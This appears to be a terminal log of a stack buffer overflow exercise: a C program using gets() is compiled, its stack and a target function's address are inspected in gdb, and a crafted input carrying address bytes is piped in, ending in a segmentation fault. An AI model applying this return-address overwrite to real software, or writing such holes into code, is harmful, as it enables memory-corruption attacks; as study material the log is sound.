1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
|
clang++ -ggdb isThisGood.c
clang++: warning: treating 'c' input as 'c++' when in C++ mode, this behavior is deprecated [-Wdeprecated]
/tmp/isThisGood-e90a11.o: In function `goodFunctionUserInput()':
/users/isThisGood.c:18: warning: warning: this program uses gets(), which is unsafe.
$ gdb a.out
GNU gdb 6.1.1 [FreeBSD]
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "amd64-marcel-freebsd"...
(gdb) break goodFunctionUserInput
Breakpoint 1 at 0x400864: file isThisGood.c, line 13.
(gdb) run
Starting program: /mnt/other/users/a.out
Breakpoint 1, goodFunctionUserInput () at isThisGood.c:13
13 for (int i = 0; i <= 8; ++i)
Current language: auto; currently c++
(gdb) backtrace
#0 goodFunctionUserInput () at isThisGood.c:13
#1 0x0000000000400944 in main () at isThisGood.c:24
(gdb) print /x *buf@40
$1 = {0x0, 0x0, 0x0, 0x0, 0x60, 0x57, 0x60, 0x0, 0x8, 0x0, 0x0, 0x0, 0x50, 0xeb, 0xff, 0xff, 0xff, 0x7f, 0x0, 0x0, 0x44, 0x9,
0x40, 0x0, 0x0, 0x0, 0x0, 0x0, 0xc7, 0x3b, 0x47, 0x50, 0xdb, 0x22, 0xc9, 0x36, 0x0, 0x0, 0x0, 0x0}
(gdb) print oopsIGotToTheBadFunction
$2 = {int (void)} 0x400830 <oopsIGotToTheBadFunction()>
(gdb) quit
The program is running. Exit anyway? (y or n) y
$ echo -e "12345678901234256789\x0\x30\x08\x40" | ./a.out
buf+ 0: 60576000000000
buf+ 8: ffffeb9000000008
buf+16: 40094400007fff
buf+24: 80fa84b300000000
buf+32: d291e923
buf+40: ffffebd000000000
buf+48: 40072f00007fff
buf+56: 4005b000000000
buf+64: 0
buf+ 4: 800605760
buf+12: 7fffffffeb90
buf+20: 400944
buf+28: d291e92380fa84b3
buf+36: 0
buf+44: 7fffffffebd0
buf+52: 40072f
buf+60: 4005b0
buf+68: 0
warning: this program uses gets(), which is unsafe.
Segmentation fault (core dumped)
| |